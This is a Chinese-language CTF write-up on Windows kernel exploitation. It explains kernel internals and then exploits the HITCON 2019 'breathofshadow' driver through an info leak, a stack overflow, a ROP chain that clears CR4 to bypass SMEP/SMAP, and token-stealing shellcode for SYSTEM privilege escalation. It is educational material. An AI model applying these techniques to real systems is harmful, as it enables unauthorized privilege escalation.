Windows Kernel exploitation - Part 1
Author: 堇姬Naup
What is Kernel
kernel位於application和hardware之間,是OS的core也負責溝通hadware和process
負責了像是
I/O、process、memory、driver managemet或是syscall 等事情
kernel也提供了可以跑application的環境
application是run在ring3,而kernel則是ring0
1 | +------------------+ |
Kernel exploit on windows
target有像是driver或是kernel
driver:
- .sys
- win32k.sys
- srv2.sys
- …
kernel:
- C:\Windows\system32\ntoskrnl.exe
Overview
將它拆分成更細
- User Process: 就是我們平時在跑的應用程式等,都是一個process,像是browser、cmd.exe
- subsystem DLL: 先看甚麼是subsystem,可以參考這篇
http://www.fmddlmyy.cn/text5.html
所有的win32 api呼叫都指向subsystem dll(kernel32.dll、kernelbase.dll、gdi32.dll、user32.dll、ntdll.dll、win32u.dll…),api都在這實現 - NTDLL: 從ring3 到ring0的入口所有win32 api調用了subsystem dll後會去調用ntdll.dll中函數實現(NTDLL.DLL exports the WindowsNative API)
- Service Process: SCM(https://learn.microsoft.com/zh-tw/windows/win32/services/service-control-manager)管理的Process
- system process: 系統重要process(有很多),被中止非常有機會BSOD
- subsystem process: 控制圖形subsystem、manage process(csrss.exe)
- win32k.sys: windows kernel driver,負責處理圖形及窗口管理(處理GDI),https://learn.microsoft.com/zh-tw/windows/win32/api/winuser/nf-winuser-createwindowexa
這些由他處理 - executive: Upper layer of Ntoskrnl.exe,I/O、memory、Object manager
- kernel: 處理更底層事務,像是interrupt等
- device driver: 可以想像是程式對設備操作中間的介面,透過driver來去與device進行互動(A driver provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used.)
- HAL
environment setting
HOST is windows 11 and user vmware + ubuntu 22.04 write exploit
- VMware + windows 24H2 VM (Need two windows to debug windows kernel)
https://www.microsoft.com/zh-tw/software-download/windows11 - Process Monitor
https://learn.microsoft.com/zh-tw/sysinternals/downloads/procmon - Process Explore
https://learn.microsoft.com/zh-tw/sysinternals/downloads/process-explorer - Windbg
https://learn.microsoft.com/zh-tw/windows-hardware/drivers/debugger/ - PEbear
https://github.com/hasherezade/pe-bear
how to debug kernel(use windbg attach kernel)
Debug kernel需要兩台windows
先進VM
首先可以先下bcdedit,如果上面沒有debug代表沒開
去找到msconfig,選boot > advanced option > debug打開
現在你去下bcdedit就會有debug: on了,另外如果你確認時跳出boot secure問題,就要進去boot把它關掉
有兩種debug方式,serial port跟net,這邊先用net方式debug
之後下這個commandbcdedit /DBGSETTINGS NET HOSTIP:IP PORT:50000 KEY:w.x.y.z
KEY是為了防止不要讓任何人都可以debug你的kernel
設好就重啟VM
現在回到你的HOST,用windbg的attack kernel,attach上去
如果你有看到attach kernel 代表成功了,不過有時候會失敗
所以我們試試看serial port
之後就到attach kernel 的COM把資訊填上去就行
反正我們已經attach好了
如果卡住按一下break就可以了
Basic Knowledge
附註: 以下的offset可能不同,實際情況用windbg直接追就可以了
process
甚麼是process應該不用解釋,當create process後會去call win32 API,
之後進到kernel層創建一個PCB(process control block),記錄整個process的資訊
PCB不太完整,準確來說 struct是EPROCESS
1 | --------------------- 0x0 |
- UID: process ID
- Active process link: 將EPROCESS串成一個double linklst(process被串起來)
- Token
- PEB
- Thread list head
PCB裡面長這樣
1 | --------------------- |
- DirectoryTableBase: PML4實體位址,context switch後變成cr3
- User Directory Table Base: PML4實體位址,return到usermode時改為存放cr3
至於cr3、PML4是甚麼在Virtual address to Physical address提到
Thread
createThread時會創建
https://learn.microsoft.com/zh-tw/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
Thread間用linklist串在一起
跟process一樣創建一個ETHREAD,裡面的TCB(Thread control block),負責管理整個thread
ETHREAD struct
1 | ----------------- 0x0 |
TCB
1 | ----------------- 0x0 |
Integrity Level
將 Object、Process等進行分級,共用六個等級,低level不能存取高level
untrusted, low, medium, high, system、Protected
我們正常的程式都是跑在medium
Level | Description |
---|---|
Untrusted | Started by Anonymous group. Block most write access. |
Low | Used by AppContainer. Block most write access to most object (files and registry) on system. |
Medium | Used by normal application if UAC is enabled. |
High | Used by administrative application when UAC is enabled. |
System | Used by system services or system process. |
Protected | Currently unused by default. |
ACL
ACL:
https://learn.microsoft.com/zh-tw/windows/win32/secauthz/access-control-lists
ACE:
https://learn.microsoft.com/zh-tw/windows/win32/secauthz/access-control-entries
是存取控制項目ACE (ACL 可以有零個或多個 ACE。 每個 ACE 都會由指定的信任者控制或監視物件的存取)的清單
安全性實體物件的安全性描述項可以包含兩種類型的ACL:DACL和SACL
https://0xfocu5.github.io/posts/37e301d0/
SID
https://0xfocu5.github.io/posts/37e301d0/
Access Token
user登入windows時會拿到一組access token代表當前登入者
用來表示process security context
Windows會透過Token來判斷該物件是否可被存取及能做哪些操作
_TOKEN stuct
1 | ----------------- 0x0 |
priviledge (_SEP_TOKEN_PRIVILEDGE
1 | +-----------------+ |
- 用 windbg 找 access token: https://learn.microsoft.com/en-us/windows-hardware/drivers/debuggercmds/-token
https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/
primary token
當thread與process對secure Object進行互動時使用
用於描述與process的secure context
https://rootclay.gitbook.io/windows-access-control/access-token
impersonation token
control register(CPU Control)
負責控制及確定CPU模式、特性及行為,可以參考該docs的2.5(p.3069)
docs
Control registers (CR0, CR1, CR2, CR3, and CR4; see Figure 2-7) determine operating mode of the processor and the characteristics of the currently executing task.
- CR2: 當發生page fault時,會儲存異常的Virtual address
( Contains the page-fault linear address. The linear address is caused a page fault.) - CR3: CPU用來做address translate會用到,該register存放當前process的page table physical address(PML4)
- CR4: 用來啟用或調整CPU的各種進階功能和擴展
(Contains a group of flags that enable several architectural extensions, and indicate operating system or executive support for specific processor capabilities. Bits CR4[63:32] can only be used for IA-32e mode only features that are enabled after entering 64-bit mode. Bits CR4[63:32] do not have any effect outside of IA-32e mode.) - CR8: IRQL
每個bits 詳細功能也請直接參考該docs,其中最容易遇到的應該是CR4 20 21位的SMEP SMAP
MMU(Memory manager unit)
我們在process看到的記憶體是一串Virtual address,他透過映射的方式映射到Physical address(在Access的當下,CPU去將Virtual address轉成Physical address)
以下是Virtual Memory layout
1 | ------------------ |
另外透過Virtual Address可實現Isolation Process,只要看你給的address有沒有在Virtual address裡面就可以,頂多影響到自己process擁有的Physicsl address
也解決了跳轉問題,程式只需要跳轉到Virtual address,硬體會幫你映射到對應的Physical address
你就不需要對Physical address直接進行操作了
page
你可以想像是Memory的最小單位(若以segment作為memory單位太大了)
通常一page是4KB(0x1000),不過具體大小由CPU決定
詳細可以參考這個
https://wiki.osdev.org/Paging
page table
儲存虛擬位址到實體位址的對映
每個表上的對應被稱作PTE(page table entry)
PTE
每個PTE長這樣
PFN存的就是offset(一個頁表0x1000,用3byte剛好表示完)
Name of bit | Meaning |
---|---|
Nx | Non - execute |
PFN | Page Frame Number |
Ws | Write bit (software) |
Cw | Copy on write |
Gl | Global |
L | Large Page |
D | Dirty |
A | Accessed |
Cd | Cache disable |
U/S | User mode/supervisor bit |
W | Write bit (hardware) |
V | Valid |
demand page
當真正有去摸到那塊physical address
才會分配page給他
實際上R/W/X的時候才會分配physical address及建立PTE(但大多數API在alloc就會做讀寫了)
page fault
訪問的Virtual address在Physical Address未被載入時會觸發此錯誤
Swap in/out
把很久沒用到的page swap到disk
Virtual address to Physical address
假設要轉換這個0xffffffff8111c398
0b1111111111111111 | 111111111 | 111111110 | 000001000 | 100011100 | 001110011000
分別對應
第一段跟上述所說的一樣,AMD64只實現48bits,為規範address
接下來分別對應
PML4I 0b111111111 511
PDPI 0b111111110 510
PDI 0b000001000 8
PTI 0b100011100 284
Offset 0b001110011000 920
首先從 CR3 爬出 Page-Map Level-4 Table Base
第 PML4 個 Entry 紀載下一級頁表 PDP 的 Base
第 PDPT 個 Entry 紀載下一級頁表 PD 的 Base
第 PD 個 Entry 紀載下一級頁表 PT 的 Base
第 PT 個 Entry 紀載 Physical Page Frame Base
Physical Page Frame Base + Physical Page Offset 就完成了轉換
更詳細去拆解四個page table可以參考這篇
https://hackmd.io/@LJP/rkxtGgoIO
如何手算可以參考Physical Address
https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows
PS: 我要強調,這裡是從page table查到對應的page frame(等於找到page frame base),在該page上通過offset去找實體記憶體位置
gdb demo
首先一樣先attach上去kernel
我們來轉換nt好了
先對windbg下dp nt
1 | fffff801`81c00040 cd09b400`0eba1f0e 685421cd`4c01b821 |
來轉換 fffff801`81c00040
1 | kd> !process 0 0 cmd.exe |
首先是可以用vtop
用法是!vtop <PEB base> <Virtual Address>
1 | kd> !vtop 172636000 fffff8079a800040 |
用 !dp <address>
可以查看physical address上的值
將轉換出來的physical address查看一下發現值一樣,成功
1 | kd> !dp 100200040 |
不過當然這邊也手算一次,我們改用cmd.exe
先切換到cmd.exe process
.process /r /p ffffac8d897a8080
現在下dp ntdll就可以看到cmd.exe的ntdll
1 | kd> dq ntdll |
通過ntdll去找PTE
1 | kd> !pte 00007ffae2680000 |
試著轉換00007ffae2680000
我寫了腳本
1 | def PAtoVA_4page_cal(address): |
轉換結果是
PML4_offset: 0xff
PDPT_offset: 0x1eb
PD_offset: 0x113
PT_offset: 0x80
PhysicalAddress_offset: 0x0
PML4就是這個 DirBase: 172636000
(也是CR3存的值)
把他加上offset * 8後會找到該表上面的值
1 | kd> !dp 172636000+(0xff*8) |
這就是第二層(PFN 0xa00000172642867)
記得去掉低12bits跟高1bits,剩下的PFN(0x172642000)
以此類推第二層
1 | kd> !dp 0x172642000+(0x1eb*8) |
第三層(0x00172545000)
1 | kd> !dp 0x00172545000+(0x113*8) |
第四層(0x00225b46000)
1 | kd> !dp 0x00225b46000+(0x80*8) |
找到 page frame base (0x00010010d000)
最後加上offset 0x0就是physical address了(看到資料一樣代表成功了)
1 | kd> !dp 0x00010010d000 |
用vtop看的話也確認是正確的
windows driver
讓程式與device溝通的一個橋樑,通常可以利用syscall溝通
目前主流架構是Windows driver model
一個WDM載入device方式
- 呼叫 IoCreateDevice 建立一個 Device
- 呼叫 IoCreateSymbolicLink 建立一個 Symbolic Link 連結到上一步建立的 Device,如此應用程式就可以透過呼叫 CreateFile 取得這個 Device 的 Handle
- 設定處理每個 IRP 請求的函數
怎麼寫code可以參考
https://ithelp.ithome.com.tw/articles/10322132
另外在逆向時MajorFunction可能只是index,可以參考這個
1 | #define IRP_MJ_CREATE 0x00 |
那windows driver掛上去了,互動的流程是甚麼
- 當User application呼叫DeviceIoControl,由I/O manager建立並對windows driver送出IRP
- windows driver收到IRP並進行處理
- 回傳IoCompleteRequest,告知I/O manager完成
如果要試著寫windows driver可以參考
https://www.alex-ionescu.com/
https://www.apriorit.com/dev-blog/791-driver-windows-driver-model
Debug windows driver
https://ithelp.ithome.com.tw/m/articles/10326802
IRP
I/O request packet
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp
Windows 中用於請求 I/O 操作的資料結構。驅動程式可以使用 IRP 來與 Kernel 溝通,例如讀取文件或進行網路傳輸。開發者也可以透過發 IRP 給 I/O Manager,並將 IRP 轉發給相應的驅動程式,從而執行對應的行為
IRP struct如下
1 | ------------------------ |
How to install windows driver
由於你的driver沒有簽章驗證,所以你必須開啟testing mode及關閉簽章驗證來掛上去你的driver
bcdedit /set testsigning on
bcdedit /set loadoptions DDISABLE_INTEGRITY_CHECKS
bcdedit /set nointegritychecks on
之後重啟應該會看到testing
接下來把driver掛起來sc create <your driver name> binPath=<Path of driver on windows> type=kernel
sc start <your driver name>
sc delete <your driver name>
如何掛起kernelmode windows driver可以參考
https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-universal-drivers---step-by-step-lab--echo-kernel-mode-
how to use your driver
他會去與\\.\BreathofShadow
進行交互
https://learn.microsoft.com/zh-tw/windows/win32/api/fileapi/nf-fileapi-createfilew
https://learn.microsoft.com/zh-tw/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol
PS: \.\\
是device namespace
https://superuser.com/questions/1583205/what-kind-of-file-path-starts-with
https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file
1 |
|
Protection
KASLR
每次開機時隨機化kernel address,只要不重新開機就不會變動
SMEP
kernel mode不能執行userspace的code
是否開啟位於cr4 bit 20
SMAP
kernel mode不能直接存取userspace data
是否開啟位於cr4 bit 21
KVA shadow
在linux kernel把它叫做KPTI
kernel/Userland Page Table Isolation
在kernel mode時所有user space的PML4 NX bit會開起來,導致你就算disable SMEP也不能執行user space code
https://mdanilor.github.io/posts/hevd-2/
Stack Cookies
就是stack canary的概念
https://breaking-bits.gitbook.io/breaking-bits/exploit-development/linux-kernel-exploit-development/stack-cookies
1 | .--------------------.-----------------------. |
information leak
如果process的integrity是medium
通過調用NtQuerySystemInformation可以獲得所有sys或nt address,及handle對應Object位置
https://learn.microsoft.com/zh-tw/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
ret2usr
核心概念是透過stack overflow,來Return 到userspace上的shellcode上,為何要跳回userspace原因是要在沒有任意讀任意寫情況下在kernel space 放shellcode並執行有難度,所以在userspace給一塊rwx個memory,並把shellcode寫進去跳進去
不過首先會遇到一個問題 SMAP/SMEP
不過在有stack overflow可以堆ROP時繞過他蠻簡單的,透過將cr4的第20bit 21bit蓋成0就可以了
pop rcx; ret
mov cr4, rcx ; ret
接下來透過shellcode來抓出token(高權限),並寫掉自己的token來提權
HITCON CTF 2019 Qual breathofshadow
https://github.com/scwuaptx/CTF/tree/master/2019-writeup/hitcon/breathofshadow
analyze
首先他給了一個windows drive,來分析看看
reverse windows driver 我有看到一篇不錯的文章可以參考
https://v1k1ngfr.github.io/winkernel-reverse-ida-ghidra/
1 | __int64 __fastcall sub_140006000(PDRIVER_OBJECT DriverObject) |
這裡他建立了一個Device(IoCreateDevice)
L"\\Device\\BreathofShadow"
是deivce name
然後去設定MajorFunction,處理IRP
第一個createdeleteHandle沒做甚麼就直接回傳IofCompleteRequest
1 |
|
這邊重要的是
有些symbol爛了自己修一下
這邊補充一下IoStackLocation
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_io_stack_location
詳細IoStackLocation可以參考這個
https://v1k1ngfr.github.io/pimp-my-pid/
1 |
|
如果IoControlCode是0x9C40240B,就Call進去
一樣是symbol全爛,自己修一下
NtDeviceIoControlFile:
- Parameters.DeviceIoControl.OutputBufferLength(0x8)
- Parameters.DeviceIoControl.InputBufferLength(0x10)
- Parameters.DeviceIoControl.IoControlCode(0x18)
- Parameters.DeviceIoControl.Type3InputBuffer(0x20)
- Parameters.QuerySecurity(0x28)
我們互動的東西會存在IoStackLocation的inputbuffer(可控)
他會將InputBuffer丟進去Dst(一個有限大小的buffer)
這裡就有一個buffer overflow
1 | __int64 __fastcall sub_140005000(__int64 IRP, __int64 IO_STACK_LOCATON) |
另外我們還需要information leak
原因是因為cookie(像是stack canary)、XorKey、KernelBase(ROP need)需要leak出來
這邊其實information leak洞非常明顯
如果inputbuffer塞超小
outputbuffer塞超大
DST值會只有少部分被xor
而DST被copy到inputbuffer(根據output buffer)
這樣就可以任意讀stack上的value(也就有information leak)
IoControl互動方式就跟上述一樣
1 | BOOL DeviceIoControl( |
很顯然ret2usr
條件已經湊齊了
接著來看EoP
EoP
https://www.matteomalvica.com/blog/2019/07/06/windows-kernel-shellcode/#token-stealing
目標是取得system integrity 的 process token,並寫進自己的process token
當我們有任意執行shellcode時,透過去traverse整個EPROCESS(linklist),並找到system process,然後換掉自己的token成system process,來達到EoP
1 | +------------------------+ +------------------------+ +------------------------+ |
要拿token代表要拿到system EPROCESS
代表要找到一個EPORCESS透過ActiveProcessLinks尋找
要如何找到呢?
有一塊struct叫做KPCR(Kernel Process Control Region)
在Windows 64 bits時gs register恆指向該struct
1 | +--------------------+ 0x0 |
裡面有一塊叫做PRCB(Kernel Process Control Block)
PRCB裡有Current Thread(KTHREAD)
ETHREAD裡面有TCB,TCB有Process指向EPROCESS
1 | +---------------+ 0xf0 |
所以就可以透過gs拿到EPROCESS了
1 | +----------------------------+ GS:[0x0] -> KPCR |
遍歷EPROCESS時可以查看是否PID是4,因為這支就是system
那以上就是EoP的方法
來整理一下攻擊流程
- Information leak vuln leak stack cookie, kernel base, xor key.
- Use Stack overflow control RIP, and then use ROP change cr4 and Page table’s NX bypass SMEP, SMAP, KVA shadow
- And then jump to usermode’s shellcode
- Use gs find structure _KPCR -> _ETHREAD -> EPROCESS
- Loop traverse EPROCESS linklist and find pid 4’s process. It is system integrity process’s token
- Change yourself process token and return (You must recover register about protection, because kernel will check.)
- Get shell and you get priviledge
PS: 偷偷爆個雷,當你get shell後會發現該process砍不掉,原因是因為沒有IoCompleteRequest導致driver一直在等待,所以最後記得回傳,這樣可以讓exploit更穩定
順便補充gs register、KPCR是啥
gs register主要用於存取與當前 CPU 或Thread相關的數據結構
KPCR 的主要目的是為每個CPU維護專屬的處理器控制數據,並在多CPU系統中進行高效管理。KPCR 位於kernel space,提供一些關鍵資訊供內核、驅動程式以及低層次的系統組件使用
KPCR represents the Kernel Processor Control Region. The KPCR contains per-CPU information which is shared by the kernel and the HAL. There are as many KPCR in the system as there are CPUs.
debug and install windows driver
參考上面的如何attach kernel 跟 install kernel
總之就先開啟testing mode
之後掛上去kernel driver
這邊再用windbg時候沒有顯示我們install上去的kernel driver
我就試著加載了一下symbol就看到了
開始 exploit - 觀察
真的得先熟悉windows 32 API怎麼用QQ
寫腳本寫的好卡
先來寫跟 driver 互動的腳本,並觀察他做了啥
下個 breakpoint 在 ioctl handler 內
下在 memcpy 上
先跑這份
1 |
|
理論上第一個 memcpy 時memcpy(Dst, InputBuffer, (unsigned int)InputBufferLength);
register | Value |
---|---|
r8d | InputBufferLength |
rdx | InputBuffer |
rcx | Dst |
通過 windbg 觀察可以發現卡在第一個斷點
查看 register 值,可以發現 inputbuffer 有 0x81
1 | kd> g |
繼續 g 一下會卡在第二個斷點,也就是第二個 memcpymemcpy(InputBuffer, Dst, OutputBufferLength);
register | Value |
---|---|
r8d | OutputBufferLength |
rdx | Dst |
rcx | InputBuffer |
看 windbg
1 | kd> g |
現在 rdx 是 Dst,也就是被 xor 過的值
那總之第一步先來 xor key
Xor Key
先上腳本,這樣就可以 leakkey 了,先把一串 0x81 丟進去,他會丟出 xor 結果,xor 回來就可以了
1 |
|
成功畫面
leak kernel base and stack cookie
接下來要 leak kernel base 來用上面的 gadget,以及要打 Buffer overflow 蓋 ret address 需要 leak stack cookie,在 overflow 時蓋回去才不會 crash,這邊可以用上述提到的 information leak 洞
先看 kernel base 在哪
1 | kd> lm m nt |
從我們印出的位置開始看,可以看到 ffff8104 0d392648
上有 nt kernel base (stack_ptr + 0x108)
扣掉 offset 0xb7b3c9
就是 kernel base 了
1 |
|
Kernel ROP
接下來來看 stack cookie
stack cookie 會在 return address 附近,不過其實不用理他,因為到時候把整個 stack leak 下來,順便蓋回去就好了
不過還是要先找 return address 位置
這邊可以用 backtrace
https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/calls-window
1 | kd> k |
找到 return address 在 ffff8104 0d6ee668
Dst 開始的位置在 ffff8104 0d6ee540
0xffff8104 0d6ee668 - 0xffff8104 0d6ee540 = 0x128
這樣就可以控制 rip 到 0xaabbccdd 了
1 |
|
接下來來看 KROP 怎麼堆
bypass SMAP/SMEP
第一步要做關掉 SMAP/SMEP
一樣觀察 cr4
1 | kd> r cr4 |
把他蓋成 0b 00 0101 0000 1110 1111 0000
先找兩個 gadget,可以控 cr4 的跟可以控 mov cr4, reg,pop reg 之類的 gadget
到這找 gadget C:\Windows\System32\ntoskrnl.exe
將 cr4 設為 0x50ef0
1 | payload[37] = ADDR(kernel_base + 0x7a7baf); //0x1407a7baf: pop rcx ; ret ; |
如果沒清 cr4 會直接 BSOD
windbg 卡住也可以看到噴錯
1 | kd> p |
下 !analyze -v
可以看到詳細資訊
1 | BUGCHECK_CODE: fc |
jump to shellcode
接下來跳回 userspace 上的 shellcode,開始提權
1 | char shellcode[] = "\x48\xC7\xC0\x34\x12\x00\x00\x48\xC7\xC7\x68\x15\x00\x00\x48\x31\xF8"; |
先 VirtualAlloc 一塊 rwx 的區段,把 shellcode 寫上去
接下來 return address 部分寫 shellcode address
因為 SMAP/SMEP 已經被寫掉了,所以可以跳到 userspace shellcode 上
來寫 shellcode
https://defuse.ca/online-x86-assembler.htm#disassembly
首先先上張圖
Use gs find structure _KPCR -> _ETHREAD -> EPROCESS
Loop traverse EPROCESS linklist and find pid 4’s process. It is system integrity process’s token
Change yourself process token and return (You must recover register about protection, because kernel will check.)
我們需要找出 system 這支 process 的 EPROCESS 裡面的 token,寫到自己 process 的 token
要從 gs 找 _KPCR struct
觀察 _KPCR
1 | kd> dt _KPCR fffff80112314000 |
_PRCB 內 +0x180 是 _KPRCB
1 | kd> dt _KPRCB fffff80112314180 |
_KPRCB + 0x8 是 CurrentThread (_KTHREAD)
所以可以從 gs:[0x188] 找到 _KTHREAD
1 | kd> dt _KTHREAD 0xffffaf87`b5caf080 |
_KTHREAD + 0x98 是 _KAPC_STATE
_KAPC_STATE + 0x20 是 _KPROCESS
所以 _KTHREAD + 0xb8 是 _KPROCESS 也就是 _EPROCESS 內的 PCB
1 | kd> dt _KAPC_STATE 0xffffaf87`b5caf118 |
最後是要找 EPROCESS 內的 ActiveProcessLinks 來遍歷整個 EPROCESS,找出 system 的 token
他在 _EPROCESS + 0x1d8
1 | typedef struct _LIST_ENTRY{ |
1 | kd> dt nt!_EPROCESS |
所以目前 shellcode 先這樣寫
1 | mov rdx, gs:[0x188]; // gs+0x188 find CurrentThread (_KTHREAD) |
已經可以清楚的看到 rcx 內拿到了 Flink 了
接下來來寫循環查找,拿 token 跟寫 token
UniqueProcessId 位於 Flink-0x8
通過 rcx - 0x8 就可以拿到 UID
1 | +0x240 ExceptionPortValue : Uint8B |
token 部分則在 _EPORCESS + 0x248
接下來就是循環去找了,直接上,最後用 loop 來去卡著 shell
最終 shellcode 在這
1 | mov rdx, gs:[0x188]; |
整個操作的結構圖
script
1 |
|
Demo
最終可以在 windows 上通過執行 exploit 拿到 ntos 權限來 EoP